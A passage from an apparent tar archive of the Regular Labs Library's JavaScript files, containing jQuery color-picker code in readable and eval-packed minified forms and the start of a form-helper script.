var hsb = rgb2hsb(hex2rgb(hex));
if (hsb.s === 0) hsb.h = 360;
return hsb;
}
// Converts an RGB object to an HSB object
function rgb2hsb(rgb) {
var hsb = {h: 0, s: 0, b: 0};
var min = Math.min(rgb.r, rgb.g, rgb.b);
var max = Math.max(rgb.r, rgb.g, rgb.b);
var delta = max - min;
hsb.b = max;
hsb.s = max !== 0 ? 255 * delta / max : 0;
if (hsb.s !== 0) {
if (rgb.r === max) {
hsb.h = (rgb.g - rgb.b) / delta;
} else if (rgb.g === max) {
hsb.h = 2 + (rgb.b - rgb.r) / delta;
} else {
hsb.h = 4 + (rgb.r - rgb.g) / delta;
}
} else {
hsb.h = -1;
}
hsb.h *= 60;
if (hsb.h < 0) {
hsb.h += 360;
}
hsb.s *= 100 / 255;
hsb.b *= 100 / 255;
return hsb;
}
// Converts a hex string to an RGB object
function hex2rgb(hex) {
hex = parseInt(((hex.indexOf('#') > -1) ? hex.substring(1) :
hex), 16);
return {
r: hex >> 16,
g: (hex & 0x00FF00) >> 8,
b: (hex & 0x0000FF)
};
}
// Handle events
$(document)
// Hide on clicks outside of the control
.on('mousedown.minicolors touchstart.minicolors',
function(event) {
if
(!$(event.target).parents().add(event.target).hasClass('minicolors'))
{
hide();
}
})
// Start moving
.on('mousedown.minicolors touchstart.minicolors',
'.minicolors-grid, .minicolors-slider,
.minicolors-opacity-slider', function(event) {
var target = $(this);
event.preventDefault();
$(document).data('minicolors-target', target);
move(target, event, true);
})
// Move pickers
.on('mousemove.minicolors touchmove.minicolors',
function(event) {
var target = $(document).data('minicolors-target');
if (target) move(target, event);
})
// Stop moving
.on('mouseup.minicolors touchend.minicolors', function() {
$(this).removeData('minicolors-target');
})
// Toggle panel when swatch is clicked
.on('mousedown.minicolors touchstart.minicolors',
'.minicolors-swatch', function() {
var input = $(this).parent().find('.minicolors-input'),
minicolors = input.parent();
if (minicolors.hasClass('minicolors-focus')) {
hide(input);
} else {
show(input);
}
})
// Show on focus
.on('focus.minicolors', '.minicolors-input',
function() {
var input = $(this);
if (!input.data('minicolors-initialized')) return;
show(input);
})
// Fix hex and hide on blur
.on('blur.minicolors', '.minicolors-input',
function() {
var input = $(this),
settings = input.data('minicolors-settings');
if (!input.data('minicolors-initialized')) return;
// Parse Hex
input.val(parseHex(input.val(), true));
// Is it blank?
if (input.val() === '')
input.val(parseHex(settings.defaultValue, true));
// Adjust case
input.val(convertCase(input.val(), settings.letterCase));
hide(input);
})
// Handle keypresses
.on('keydown.minicolors', '.minicolors-input',
function(event) {
var input = $(this);
if (!input.data('minicolors-initialized')) return;
switch (event.keyCode) {
case 9: // tab
hide();
break;
case 27: // esc
hide();
input.blur();
break;
}
})
// Update on keyup
.on('keyup.minicolors', '.minicolors-input',
function() {
var input = $(this);
if (!input.data('minicolors-initialized')) return;
updateFromInput(input, true);
})
// Update on paste
.on('paste.minicolors', '.minicolors-input',
function() {
var input = $(this);
if (!input.data('minicolors-initialized')) return;
setTimeout(function() {
updateFromInput(input, true);
}, 1);
});
})(jQuery);
js/color.min.js000064400000022106151165506420007424 0ustar00/*
* Copyright © 2020 Regular Labs - All Rights Reserved
* License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
eval(function(r,e,g,l,a,b){a=function(c){return(c<e?'':a(parseInt(c/e)))+((c=c%e)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(g--){b[a(g)]=l[g]||a(g)}l=[function(a){return
b[a]}];a=function(){return'\\w+'};g=1};while(g--){if(l[g]){r=r.replace(new
RegExp('\\b'+a(g)+'\\b','g'),l[g])}}return
r}('e(2S)(k($){$(1U).3M(k(){$(\'.3g\').c()});$.c={1R:{2M:j,2s:\'3h\',1X:1u,2b:0,1L:\'U\',2f:\'\',19:1u,2J:j,1S:2j,1q:\'3i\',m:2j,1z:\'1H\',1r:1u,2D:j,20:\'T\',2y:L,2i:\'1H\'}};$.1T($.3j,{c:k(1w,o){1P(1w){P\'1Y\':$(z).1f(k(){1Y($(z))});t
$(z);P\'m\':e(o===1x){t
$(z).1g(\'o-m\')}I{$(z).1f(k(){2o($(z).1g(\'o-m\',o))});t
$(z)}P\'29\':t
29($(z),1w===\'3k\');P\'2a\':P\'2B\':t
2a($(z),1w===\'2B\');P\'i\':e(o===1x){t
$(z).o(\'c-i\')}I{$(z).1f(k(){B
i=$(z).o(\'c-i\')||{};1Y($(z));$(z).c($.1T(L,i,o))});t
$(z)}P\'1l\':e(o===1x){t $(z).S()}I{$(z).1f(k(){2o($(z).S(o))});t
$(z)}P\'2A\':1H:e(1w!==\'2A\')o=1w;$(z).1f(k(){2z($(z),o)});t
$(z)}}});k 2z(d,i){B c=$(\'<D J="c"
/>\'),1R=$.c.1R;e(d.o(\'c-1e\'))t;i=$.1T(L,{},1R,i);c.1p(\'c-2i-\'+i.2i).1p(\'c-Z-1z-\'+i.20).2x(\'c-Z-T\',i.20===\'T\').2x(\'c-3o-m\',i.m);e(i.1z!==1x){$.1f(i.1z.3p(\'
\'),k(){c.1p(\'c-1z-\'+z)})}d.1p(\'c-d\').o(\'c-1e\',L).o(\'c-i\',i).2k(\'2E\',7).2k(\'2G\',7).3r(c).2C(\'<D
J="c-1h c-w-\'+i.1L+\'">\'+\'<D
J="c-w">\'+\'<D
J="c-H"></D>\'+\'</D>\'+\'<D
J="c-m-w">\'+\'<D
J="c-H"></D>\'+\'</D>\'+\'<D
J="c-n">\'+\'<D
J="c-n-1G"></D>\'+\'<D
J="c-H"><D></D></D>\'+\'</D>\'+\'</D>\');d.17().C(\'.c-1h\').11(\'3s\',k(){t
2j}).3d();e(i.20===\'T\'){d.2H(\'<D
J="c-Z"><D></D></D>\')}I{d.2C(\'<D
J="c-Z"><D></D></D>\')}e(!i.2y)d.1p(\'c-3a\');e(i.1S)d.17().1p(\'c-1S\');1I(d)}k
1Y(d){B
c=d.17();d.2g(\'c-1e\').2g(\'c-i\').2F(\'2E\').2F(\'2G\').2K(\'c-d\');c.2H(d).36()}k
2o(d){1I(d)}k 1r(d){B
c=d.17(),1h=c.C(\'.c-1h\'),i=d.o(\'c-i\');e(!d.o(\'c-1e\')||d.2k(\'38\')||c.22(\'c-1s\'))t;19();c.1p(\'c-1s\');1h.2p(L,L).3u(i.2D,k(){e(i.1r)i.1r.1M(d)})}k
19(){$(\'.c-d\').1f(k(){B
d=$(z),i=d.o(\'c-i\'),c=d.17();e(i.1S)t;c.C(\'.c-1h\').3w(i.2J,k(){e(c.22(\'c-1s\')){e(i.19)i.19.1M(d)}c.2K(\'c-1s\')})})}k
2u(G,O,1O){B
d=G.2X(\'.c\').C(\'.c-d\'),i=d.o(\'c-i\'),H=G.C(\'[J$=-H]\'),2c=G.1t().T,2l=G.1t().K,x=p.1b(O.2N-2c),y=p.1b(O.2P-2l),2r=1O?i.2M:0,1y,1C,r,M;e(O.2h.2d){x=O.2h.2d[0].2N-2c;y=O.2h.2d[0].2P-2l}e(x<0)x=0;e(y<0)y=0;e(x>G.1c())x=G.1c();e(y>G.u())y=G.u();e(G.17().2e(\'.c-w-24\')&&H.17().2e(\'.c-n\')){1y=R-x;1C=R-y;r=p.2R(1y*1y+1C*1C);M=p.2I(1C,1y);e(M<0)M+=p.21*2;e(r>R){r=R;x=R-(R*p.26(M));y=R-(R*p.23(M))}x=p.1b(x);y=p.1b(y)}e(G.2e(\'.c-n\')){H.2p(L).1O({K:y+\'Q\',T:x+\'Q\'},2r,i.2s,k(){2t(d)})}I{H.2p(L).1O({K:y+\'Q\'},2r,i.2s,k(){2t(d)})}}k
2t(d){k 1N(H,1K){B T,K;e(!H.1A||!1K)t
1u;T=H.1t().T;K=H.1t().K;t{x:T-1K.1t().T+(H.3H()/2),y:K-1K.1t().K+(H.3J()/2)}}B
U,V,Y,m,f,q,x,y,r,M,c=d.17(),i=d.o(\'c-i\'),1h=c.C(\'.c-1h\'),Z=c.C(\'.c-Z\'),n=c.C(\'.c-n\'),w=c.C(\'.c-w\'),1d=c.C(\'.c-m-w\'),1k=n.C(\'[J$=-H]\'),1m=w.C(\'[J$=-H]\'),1J=1d.C(\'[J$=-H]\'),10=1N(1k,n),1F=1N(1m,w),2Q=1N(1J,1d);1P(i.1L){P\'24\':x=(n.1c()/2)-10.x;y=(n.u()/2)-10.y;r=p.2R(x*x+y*y);M=p.2I(y,x);e(M<0)M+=p.21*2;e(r>R){r=R;10.x=2w-(R*p.26(M));10.y=2w-(R*p.23(M))}V=E(r/0.R,0,j);U=E(M*2q/p.21,0,W);Y=E(j-p.1n(1F.y*(j/w.u())),0,j);q=X({h:U,s:V,b:Y});w.F(\'1a\',X({h:U,s:V,b:j}));18;P\'V\':U=E(1V(10.x*(W/n.1c())),0,W);V=E(j-p.1n(1F.y*(j/w.u())),0,j);Y=E(j-p.1n(10.y*(j/n.u())),0,j);q=X({h:U,s:V,b:Y});w.F(\'1a\',X({h:U,s:j,b:Y}));c.C(\'.c-n-1G\').F(\'m\',V/j);18;P\'Y\':U=E(1V(10.x*(W/n.1c())),0,W);V=E(j-p.1n(10.y*(j/n.u())),0,j);Y=E(j-p.1n(1F.y*(j/w.u())),0,j);q=X({h:U,s:V,b:Y});w.F(\'1a\',X({h:U,s:V,b:j}));c.C(\'.c-n-1G\').F(\'m\',1-(Y/j));18;1H:U=E(W-1V(1F.y*(W/w.u())),0,W);V=E(p.1n(10.x*(j/n.1c())),0,j);Y=E(j-p.1n(10.y*(j/n.u())),0,j);q=X({h:U,s:V,b:Y});n.F(\'1a\',X({h:U,s:j,b:j}));18}e(i.m){m=1Q(1-(2Q.y/1d.u())).34(2)}I{m=1}d.S(1D(q,i.1q));e(i.m)d.1g(\'o-m\',m);Z.C(\'25\').F({1a:q,m:m});e(q+m!==d.o(\'c-2O\')){d.o(\'c-2O\',q+m);e(i.1X){e(i.2b){3y(d.o(\'c-2L\'));d.o(\'c-2L\',32(k(){i.1X.1M(d,q,m)},i.2b))}I{i.1X.1M(d,q,m)}}}}k
1I(d,2U){B
q,l,m,x,y,r,M,c=d.17(),i=d.o(\'c-i\'),Z=c.C(\'.c-Z\'),n=c.C(\'.c-n\'),w=c.C(\'.c-w\'),1d=c.C(\'.c-m-w\'),1k=n.C(\'[J$=-H]\'),1m=w.C(\'[J$=-H]\'),1J=1d.C(\'[J$=-H]\');q=1D(1o(d.S(),L),i.1q);e(!q)q=1D(1o(i.2f,L));l=2V(q);e(!2U)d.S(q);e(i.m){m=d.1g(\'o-m\')===\'\'?1:E(1Q(d.1g(\'o-m\')).34(2),0,1);d.1g(\'o-m\',m);Z.C(\'25\').F(\'m\',m);y=E(1d.u()-(1d.u()*m),0,1d.u());1J.F(\'K\',y+\'Q\')}Z.C(\'25\').F(\'1a\',q);1P(i.1L){P\'24\':r=E(p.1B(l.s*0.R),0,n.u()/2);M=l.h*p.21/2q;x=E(R-p.26(M)*r,0,n.1c());y=E(R-p.23(M)*r,0,n.u());1k.F({K:y+\'Q\',T:x+\'Q\'});y=28-(l.b/(j/n.u()));e(q===\'\')y=0;1m.F(\'K\',y+\'Q\');w.F(\'1a\',X({h:l.h,s:l.s,b:j}));18;P\'V\':x=E((5*l.h)/12,0,28);y=E(n.u()-p.1B(l.b/(j/n.u())),0,n.u());1k.F({K:y+\'Q\',T:x+\'Q\'});y=E(w.u()-(l.s*(w.u()/j)),0,w.u());1m.F(\'K\',y+\'Q\');w.F(\'1a\',X({h:l.h,s:j,b:l.b}));c.C(\'.c-n-1G\').F(\'m\',l.s/j);18;P\'Y\':x=E((5*l.h)/12,0,28);y=E(n.u()-p.1B(l.s/(j/n.u())),0,n.u());1k.F({K:y+\'Q\',T:x+\'Q\'});y=E(w.u()-(l.b*(w.u()/j)),0,w.u());1m.F(\'K\',y+\'Q\');w.F(\'1a\',X({h:l.h,s:l.s,b:j}));c.C(\'.c-n-1G\').F(\'m\',1-(l.b/j));18;1H:x=E(p.1B(l.s/(j/n.1c())),0,n.1c());y=E(n.u()-p.1B(l.b/(j/n.u())),0,n.u());1k.F({K:y+\'Q\',T:x+\'Q\'});y=E(w.u()-(l.h/(W/w.u())),0,w.u());1m.F(\'K\',y+\'Q\');n.F(\'1a\',X({h:l.h,s:j,b:j}));18}}k
29(d){B q=1o($(d).S(),L),f=1W(q),m=$(d).1g(\'o-m\');e(!f)t
1u;e(m!==1x)$.1T(f,{a:1Q(m)});t f}k 2a(d,2T){B
q=1o($(d).S(),L),f=1W(q),m=$(d).1g(\'o-m\');e(!f)t
1u;e(m===1x)m=1;e(2T){t\'3z(\'+f.r+\', \'+f.g+\',
\'+f.b+\',
\'+1Q(m)+\')\'}I{t\'f(\'+f.r+\',
\'+f.g+\', \'+f.b+\')\'}}k 1D(N,1q){t
1q===\'3A\'?N.3B():N.3C()}k
1o(N,30){N=N.3D(/[^A-3E-9]/3F,\'\');e(N.1A!==3&&N.1A!==6)t\'\';e(N.1A===3&&30){N=N[0]+N[0]+N[1]+N[1]+N[2]+N[2]}t\'#\'+N}k
E(1l,1v,15){e(1l<1v)1l=1v;e(1l>15)1l=15;t 1l}k 31(l){B f={};B
h=p.1b(l.h);B s=p.1b(l.s*1i/j);B
v=p.1b(l.b*1i/j);e(s===0){f.r=f.g=f.b=v}I{B 13=v;B 14=(1i-s)*v/1i;B
1j=(13-14)*(h%1Z)/1Z;e(h===W)h=0;e(h<1Z){f.r=13;f.b=14;f.g=14+1j}I
e(h<3I){f.g=13;f.b=14;f.r=13-1j}I e(h<2q){f.g=13;f.r=14;f.b=14+1j}I
e(h<3x){f.b=13;f.r=14;f.g=13-1j}I e(h<3K){f.b=13;f.g=14;f.r=14+1j}I
e(h<W){f.r=13;f.g=14;f.b=13-1j}I{f.r=0;f.g=0;f.b=0}}t{r:p.1b(f.r),g:p.1b(f.g),b:p.1b(f.b)}}k
2Y(f){B
q=[f.r.2m(16),f.g.2m(16),f.b.2m(16)];$.1f(q,k(2W,S){e(S.1A===1)q[2W]=\'0\'+S});t\'#\'+q.3L(\'\')}k
X(l){t 2Y(31(l))}k 2V(q){B l=33(1W(q));e(l.s===0)l.h=W;t l}k 33(f){B
l={h:0,s:0,b:0};B 1v=p.1v(f.r,f.g,f.b);B 15=p.15(f.r,f.g,f.b);B
1E=15-1v;l.b=15;l.s=15!==0?1i*1E/15:0;e(l.s!==0){e(f.r===15){l.h=(f.g-f.b)/1E}I
e(f.g===15){l.h=2+(f.b-f.r)/1E}I{l.h=4+(f.r-f.g)/1E}}I{l.h=-1}l.h*=1Z;e(l.h<0){l.h+=W}l.s*=j/1i;l.b*=j/1i;t
l}k
1W(q){q=1V(((q.3G(\'#\')>-1)?q.3v(1):q),16);t{r:q>>16,g:(q&37)>>8,b:(q&35)}}$(1U).11(\'2n.c
2v.c\',k(O){e(!$(O.G).2X().39(O.G).22(\'c\')){19()}}).11(\'2n.c
2v.c\',\'.c-n, .c-w, .c-m-w\',k(O){B
G=$(z);O.3b();$(1U).o(\'c-G\',G);2u(G,O,L)}).11(\'3c.c
3e.c\',k(O){B
G=$(1U).o(\'c-G\');e(G)2u(G,O)}).11(\'3n.c
3t.c\',k(){$(z).2g(\'c-G\')}).11(\'2n.c
2v.c\',\'.c-Z\',k(){B
d=$(z).17().C(\'.c-d\'),c=d.17();e(c.22(\'c-1s\')){19(d)}I{1r(d)}}).11(\'1s.c\',\'.c-d\',k(){B
d=$(z);e(!d.o(\'c-1e\'))t;1r(d)}).11(\'2Z.c\',\'.c-d\',k(){B
d=$(z),i=d.o(\'c-i\');e(!d.o(\'c-1e\'))t;d.S(1o(d.S(),L));e(d.S()===\'\')d.S(1o(i.2f,L));d.S(1D(d.S(),i.1q));19(d)}).11(\'3q.c\',\'.c-d\',k(O){B
d=$(z);e(!d.o(\'c-1e\'))t;1P(O.3m){P 9:19();18;P
27:19();d.2Z();18}}).11(\'3f.c\',\'.c-d\',k(){B
d=$(z);e(!d.o(\'c-1e\'))t;1I(d,L)}).11(\'3l.c\',\'.c-d\',k(){B
d=$(z);e(!d.o(\'c-1e\'))t;32(k(){1I(d,L)},1)})})(2S);',62,235,'||||||||||||minicolors|input|if|rgb|||settings|100|function|hsb|opacity|grid|data|Math|hex|||return|height||slider|||this||var|find|span|keepWithin|css|target|picker|else|class|top|true|phi|string|event|case|px|75|val|left|hue|saturation|360|hsb2hex|brightness|swatch|gridPos|on||t1|t2|max||parent|break|hide|backgroundColor|round|width|opacitySlider|initialized|each|attr|panel|255|t3|gridPicker|value|sliderPicker|floor|parseHex|addClass|letterCase|show|focus|offset|null|min|method|undefined|wx|position|length|ceil|wy|convertCase|delta|sliderPos|inner|default|updateFromInput|opacityPicker|container|control|call|getCoords|animate|switch|parseFloat|defaultSettings|inline|extend|document|parseInt|hex2rgb|change|destroy|60|swatchPosition|PI|hasClass|sin|wheel|SPAN|cos||150|rgbObject|rgbString|changeDelay|offsetX|changedTouches|is|defaultValue|removeData|originalEvent|theme|false|prop|offsetY|toString|mousedown|refresh|stop|180|duration|animationEasing|updateFromControl|move|touchstart|69|toggleClass|textfield|init|create|rgbaString|after|showSpeed|size|removeProp|maxlength|before|atan2|hideSpeed|removeClass|changeTimeout|animationSpeed|pageX|lastChange|pageY|opacityPos|sqrt|jQuery|alpha|preserveInputValue|hex2hsb|nr|parents|rgb2hex|blur|expand|hsb2rgb|setTimeout|rgb2hsb|toFixed|0x0000FF|remove|0x00FF00|disabled|add|hidden|preventDefault|mousemove|end|touchmove|keyup|rl_color|swing|lowercase|fn|rgbaObject|paste|keyCode|mouseup|with|split|keydown|wrap|selectstart|touchend|fadeIn|substring|fadeOut|240|clearTimeout|rgba|uppercase|toUpperCase|toLowerCase|replace|F0|ig|indexOf|outerWidth|120|outerHeight|300|join|ready'.split('|'),0,{}))js/colorpicker.js000064400000011462151165506420010043
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/**
* LOOSELY BASED ON:
* Very simple jQuery Color Picker
* Copyright (C) 2012 Tanguy Krotoff
* Licensed under the MIT license
*/
"use strict";
if (typeof window.RegularLabsColorPicker === 'undefined') {
(function($) {
window.RegularLabsColorPicker = function(element, options) {
this.select = $(element);
this.options = $.extend({}, $.fn.nncolorpicker.defaults, options);
this.select.hide();
// Build the list of colors
let list = '';
$('option', this.select).each(function() {
const option = $(this);
let color = option.val();
if (option.text() == '-') {
list += '<br>';
return;
}
let clss = 'nncolorpicker-swatch';
if (color == 'none') {
clss += ' nocolor';
color = 'transparent';
}
if (option.attr('selected')) {
clss += ' active';
}
list += '<span class="' + clss +
'"><span style="background-color: ' + color +
';" tabindex="0"></span></span>';
});
let color = this.select.val();
let clss = 'nncolorpicker-swatch';
if (color == 'none') {
clss += ' nocolor';
color = 'transparent';
}
this.icon = $('<span class="' + clss +
'"><span style="background-color: ' + color +
';"
tabindex="0"></span></span>').insertAfter(this.select);
this.icon.on('click', $.proxy(this.show, this));
this.panel = $('<span
class="nncolorpicker-panel"></span>').appendTo(document.body);
this.panel.html(list);
this.panel.on('click', $.proxy(this.click, this));
// Hide panel when clicking outside
$(document).on('mousedown', $.proxy(this.hide, this));
this.panel.on('mousedown', $.proxy(this.mousedown, this));
};
/**
* RegularLabsColorPicker class
*/
RegularLabsColorPicker.prototype = {
constructor: RegularLabsColorPicker,
show: function() {
const bootstrapArrowWidth = 16; // Empirical value
const pos = this.icon.offset();
this.panel.css({
left: pos.left + this.icon.width() / 2 - bootstrapArrowWidth, //
Middle of the icon
top : pos.top + this.icon.outerHeight()
});
this.panel.show(this.options.delay);
},
hide: function() {
this.panel.hide(this.options.delay);
},
click: function(e) {
const target = $(e.target);
if (target.length === 1) {
if (target[0].nodeName.toLowerCase() === 'span') {
// When you click on a color
let color = '';
let bgcolor = '';
let clss = '';
if (target.parent().hasClass('nocolor')) {
color = 'none';
bgcolor = 'transparent';
clss = 'nocolor';
} else {
color = this.rgb2hex(target.css('background-color'));
bgcolor = color;
}
// Mark this div as the selected one
target.parent().siblings().removeClass('active');
target.parent().addClass('active');
this.icon.removeClass('nocolor').addClass(clss);
this.icon.find('span').css('background-color',
bgcolor);
// Hide the panel
this.hide();
// Change select value
this.select.val(color).change();
}
}
},
/**
* Prevents the mousedown event from "eating" the click event.
*/
mousedown: function(e) {
e.stopPropagation();
e.preventDefault();
},
/**
* Converts a RGB color to its hexadecimal value.
*
* See
http://stackoverflow.com/questions/1740700/get-hex-value-rather-than-rgb-value-using-$
*/
rgb2hex: function(rgb) {
function hex(x) {
return ("0" + parseInt(x, 10).toString(16)).slice(-2);
}
const matches = rgb.match(/^rgb\((\d+),\s*(\d+),\s*(\d+)\)$/);
if (matches === null) {
// Fix for Internet Explorer < 9
// Variable rgb is already a hexadecimal value
return rgb;
} else {
return '#' + hex(matches[1]) + hex(matches[2]) +
hex(matches[3]);
}
}
};
/**
* Plugin definition.
*/
$.fn.nncolorpicker = function(option) {
// For HTML element passed to the plugin
return this.each(function() {
const self = $(this);
const options = typeof option === 'object' && option;
let data = self.data('nncolorpicker');
if (!data) {
self.data('nncolorpicker', (data = new
RegularLabsColorPicker(this, options)));
}
if (typeof option === 'string') {
data[option]();
}
});
};
$.fn.nncolorpicker.Constructor = RegularLabsColorPicker;
/**
* Default options.
*/
$.fn.nncolorpicker.defaults = {
// Animation delay
delay: 0
};
$(document).ready(function() {
$('select.nncolorpicker').nncolorpicker();
});
})(jQuery);
}
js/colorpicker.min.js000064400000004654151165506420010632 0ustar00/*
* Copyright © 2020 Regular Labs - All Rights Reserved
* License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
eval(function(r,e,g,l,a,b){a=function(c){return(c<e?'':a(parseInt(c/e)))+((c=c%e)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(g--){b[a(g)]=l[g]||a(g)}l=[function(a){return
b[a]}];a=function(){return'\\w+'};g=1};while(g--){if(l[g]){r=r.replace(new
RegExp('\\b'+a(g)+'\\b','g'),l[g])}}return
r}('"1y 18";9(O
W.l===\'1b\'){(7($){W.l=7(X,k){4.j=$(X);4.k=$.1h({},$.B.8.T,k);4.j.q();c
y=\'\';$(\'b\',4.j).13(7(){i b=$(4);c
5=b.N();9(b.1c()==\'-\'){y+=\'<1g>\';n}c
a=\'8-Y\';9(5==\'G\'){a+=\'
p\';5=\'H\'}9(b.1l(\'1f\')){a+=\'
K\'}y+=\'<6 D="\'+a+\'"><6
V="r-5: \'+5+\';"
S="0"></6></6>\'});c 5=4.j.N();c
a=\'8-Y\';9(5==\'G\'){a+=\'
p\';5=\'H\'}4.h=$(\'<6
D="\'+a+\'"><6 V="r-5:
\'+5+\';"
S="0"></6></6>\').19(4.j);4.h.v(\'z\',$.u(4.P,4));4.f=$(\'<6
D="8-f"></6>\').1a(I.1d);4.f.1e(y);4.f.v(\'z\',$.u(4.z,4));$(I).v(\'t\',$.u(4.q,4));4.f.v(\'t\',$.u(4.t,4))};l.1k={1j:l,P:7(){i
Z=16;i F=4.h.1i();4.f.M({U:F.U+4.h.15()/2-Z,
12:F.12+4.h.17()});4.f.P(4.k.L)},q:7(){4.f.q(4.k.L)},z:7(e){i
g=$(e.g);9(g.1n===1){9(g[0].1w.1B()===\'6\'){c 5=\'\';c
A=\'\';c
a=\'\';9(g.J().1D(\'p\')){5=\'G\';A=\'H\';a=\'p\'}11{5=4.Q(g.M(\'r-5\'));A=5}g.J().1E().14(\'K\');g.J().R(\'K\');4.h.14(\'p\').R(a);4.h.1G(\'6\').M(\'r-5\',A);4.q();4.j.N(5).1z()}}},t:7(e){e.1F();e.1C()},Q:7(w){7
C(x){n("0"+1A(x,10).1o(16)).1x(-2)}i
o=w.1v(/^w\\((\\d+),\\s*(\\d+),\\s*(\\d+)\\)$/);9(o===1u){n
w}11{n\'#\'+C(o[1])+C(o[2])+C(o[3])}}};$.B.8=7(b){n 4.13(7(){i
E=$(4);i k=O b===\'1t\'&&b;c
m=E.m(\'8\');9(!m){E.m(\'8\',(m=1s l(4,k)))}9(O
b===\'1r\'){m[b]()}})};$.B.8.1q=l;$.B.8.T={L:0};$(I).1p(7(){$(\'j.8\').8()})})(1m)}',62,105,'||||this|color|span|function|nncolorpicker|if|clss|option|let|||panel|target|icon|const|select|options|RegularLabsColorPicker|data|return|matches|nocolor|hide|background||mousedown|proxy|on|rgb||list|click|bgcolor|fn|hex|class|self|pos|none|transparent|document|parent|active|delay|css|val|typeof|show|rgb2hex|addClass|tabindex|defaults|left|style|window|element|swatch|bootstrapArrowWidth||else|top|each|removeClass|width||outerHeight|strict|insertAfter|appendTo|undefined|text|body|html|selected|br|extend|offset|constructor|prototype|attr|jQuery|length|toString|ready|Constructor|string|new|object|null|match|nodeName|slice|use|change|parseInt|toLowerCase|preventDefault|hasClass|siblings|stopPropagation|find'.split('|'),0,{}))js/form.js000064400000015313151165506420006471
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
"use strict";
if (typeof window.RegularLabsForm === 'undefined'
|| typeof RegularLabsForm.version === 'undefined'
|| RegularLabsForm.version < '21.2.19653') {
(function($) {
window.RegularLabsForm = {
version: '21.2.19653',
getValue: function(name, escape) {
let $field = $(`[name="${name}"]`);
if (!$field.length) {
$field = $(`[name="${name}[]"]`);
}
if (!$field.length) {
return;
}
const type = $field[0].type;
switch (type) {
case 'radio':
$field = $(`[name="${name}"]:checked`);
break;
case 'checkbox':
return
this.getValuesFromList($(`[name="${name}[]"]:checked`), escape);
case 'select':
case 'select-one':
case 'select-multiple':
return
this.getValuesFromList($field.find('option:checked'), escape);
}
return this.prepareValue($field.val(), escape);
},
getValuesFromList: function($elements, escape) {
const self = this;
const values = [];
$elements.each(function() {
values.push(self.prepareValue($(this).val(), escape));
});
return values;
},
prepareValue: function(value, escape) {
if (!isNaN(value) && value.indexOf('.') < 0) {
return parseInt(value);
}
if (escape) {
value = value.replace(/"/g, '\\"');
}
return value.trim();
},
toTextValue: function(str) {
return str.toString().replace(/^[\s-]*/, '').trim();
},
toSimpleValue: function(str) {
return str.toString().toLowerCase().replace(/[^0-9a-z]/g,
'').trim();
},
// preg_quote: function(str) {
// return
str.toString().replace(/([\\\.\+\*\?\[\^\]\$\(\)\{\}\=\!<>\|\:])/g,
'\\$1');
// },
// escape: function(str) {
// return str.toString().replace(/([\"])/g, '\\$1');
// },
setRadio: function(id, value) {
value = value ? 1 : 0;
const selector =
`input#jform_${id}${value},input#jform_params_${id}${value},input#advancedparams_${id}${value}`;
document.getElements(selector).each(function(el) {
el.click();
});
},
initCheckAlls: function(id, classname) {
$(`#${id}`).attr('checked', this.allChecked(classname));
$(`input.${classname}`).click(function() {
$(`#${id}`).attr('checked', this.allChecked(classname));
});
},
allChecked: function(classname) {
return $(`input.${classname}:checkbox:not(:checked)`).length < 1;
},
checkAll: function(checkbox, classname) {
const allchecked = this.allChecked(classname);
$(checkbox).attr('checked', !allchecked);
$(`input.${classname}`).attr('checked', !allchecked);
},
// getEditorSelection: function(editorID) {
// const editorTextarea = document.getElementById(editorID);
//
// if (!editorTextarea) {
// return '';
// }
//
// const editorFrame =
editorTextarea.parentNode.querySelector('iframe');
//
// if (!editorFrame) {
// return '';
// }
//
// const contentWindow = editorFrame.contentWindow;
//
// if (typeof contentWindow.getSelection !== 'undefined') {
// const sel = contentWindow.getSelection();
//
// if (sel.rangeCount) {
// const container =
contentWindow.document.createElement("div");
// const len = sel.rangeCount;
// for (let i = 0; i < len; ++i) {
// container.appendChild(sel.getRangeAt(i).cloneContents());
// }
//
// return container.innerHTML;
// }
//
// return '';
// }
//
// if (typeof contentWindow.document.selection !==
'undefined') {
// if (contentWindow.document.selection.type == "Text") {
// return contentWindow.document.selection.createRange().htmlText;
// }
// }
//
// return '';
// },
toggleSelectListSelection: function(id) {
const el = document.getElement(`#${id}`);
if (el && el.options) {
for (let i = 0; i < el.options.length; i++) {
if (!el.options[i].disabled) {
el.options[i].selected = !el.options[i].selected;
}
}
}
},
prependTextarea: function(id, content, separator) {
const textarea = $(`#${id}`);
let originalContent = textarea.val().trim();
if (originalContent && separator) {
separator = separator == 'none' ? '' :
`\n\n${separator}`;
originalContent = `${separator}\n\n${originalContent}`;
}
textarea.val(`${content}${originalContent}`);
this.moveCursorInTextareaTo(id, content.length);
},
moveCursorInTextareaTo: function(id, position) {
const textarea = document.getElementById(id);
if (textarea.setSelectionRange) {
textarea.focus();
textarea.setSelectionRange(position, position);
textarea.scrollTop = 0;
return;
}
if (textarea.createTextRange) {
var range = textarea.createTextRange();
range.moveStart('character', position);
range.select();
textarea.scrollTop = 0;
}
},
setToggleTitleClass: function(input, value) {
const el = $(input).parent().parent().parent().parent();
el.removeClass('alert-success').removeClass('alert-error');
if (value === 2) {
el.addClass('alert-error');
} else if (value) {
el.addClass('alert-success');
}
}
};
$(document).ready(function() {
removeEmptyControlGroups();
addShowOnTriggers();
function removeEmptyControlGroups() {
// remove all empty control groups
$('div.control-group > div').each(function(i, el) {
if (
$(el).html().trim() == ''
&& (
$(el).attr('class') == 'control-label'
|| $(el).attr('class') == 'controls'
)
) {
$(el).remove();
}
});
$('div.control-group').each(function(i, el) {
if ($(el).html().trim() == '') {
$(el).remove();
}
});
$('div.control-group > div.hide').each(function(i, el) {
$(el).parent().css('margin', 0);
});
}
/**
* Adds keyup triggers to fields to trigger show/hide of showon fields
*/
function addShowOnTriggers() {
const fieldIDs = [];
$('[data-showon]').each(function() {
